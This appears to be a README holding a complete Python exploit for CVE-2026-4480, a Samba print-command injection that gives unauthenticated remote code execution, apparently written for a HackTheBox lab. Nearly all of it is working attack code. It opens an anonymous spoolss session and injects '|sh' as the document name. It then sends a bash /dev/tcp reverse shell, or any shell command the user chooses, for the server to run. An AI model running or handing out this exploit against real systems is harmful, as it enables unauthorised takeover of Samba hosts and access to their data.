README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-4480 - Samba print-command (%J) injection -> unauthenticated RCE.
Made by TheCyberGeek @ HackTheBox
"""
import argparse
import sys
try:
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
except ImportError:
sys.exit("[-] Samba Python bindings missing. Install with: sudo apt install python3-samba")
PRINTER_ACCESS_USE = 0x00000008
def reverse_shell(lhost, lport):
# Must be non-empty (Samba skips the print command for a 0-byte spool file) and
# must detach (the command runs synchronously inside EndDocPrinter; a foreground
# shell would block smbd and hang/timeout the RPC).
return ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
% (lhost, lport)).encode()
def exploit(rhost, printer, body):
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous() # the guest printer share needs no creds
binding = r"ncacn_np:%s[\pipe\spoolss]" % rhost
iface = spoolss.spoolss(binding, lp, creds)
handle = iface.OpenPrinter("\\\\%s\\%s" % (rhost, printer), "",
spoolss.DevmodeContainer(), PRINTER_ACCESS_USE)
info = spoolss.DocumentInfo1()
info.document_name = "|sh" # this is what lands in %J
info.output_file = None
info.datatype = "RAW"
ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = info
iface.StartDocPrinter(handle, ctr)
iface.StartPagePrinter(handle)
iface.WritePrinter(handle, body, len(body)) # this is %s (the spool body, run as a script)
iface.EndPagePrinter(handle)
iface.EndDocPrinter(handle) # triggers the print command server-side
iface.ClosePrinter(handle)
def main():
p = argparse.ArgumentParser(
description="CVE-2026-4480 Samba print %J injection -> reverse shell")
p.add_argument("rhost", help="target Samba host/IP")
p.add_argument("lhost", help="your listener IP (e.g. tun0)")
p.add_argument("lport", type=int, help="your listener port")
p.add_argument("-P", "--printer", default="HP-Reception",
help="guest printer share name (default: HP-Reception)")
p.add_argument("-c", "--cmd",
help="run this shell command instead of a reverse shell (LHOST/LPORT ignored)")
args = p.parse_args()
if args.cmd:
body = (args.cmd.rstrip("\n") + "\n").encode()
else:
body = reverse_shell(args.lhost, args.lport)
print("[*] target : %s (\\\\%s\\%s)" % (args.rhost, args.rhost, args.printer))
if not args.cmd:
print("[*] callback : %s:%d (start a listener first: nc -lvnp %d)"
% (args.lhost, args.lport, args.lport))
try:
exploit(args.rhost, args.printer, body)
except Exception as e:
sys.exit("[-] exploit failed: %s" % e)
print("[+] print job submitted -- check your listener / out-of-band channel")
if __name__ == "__main__":
main()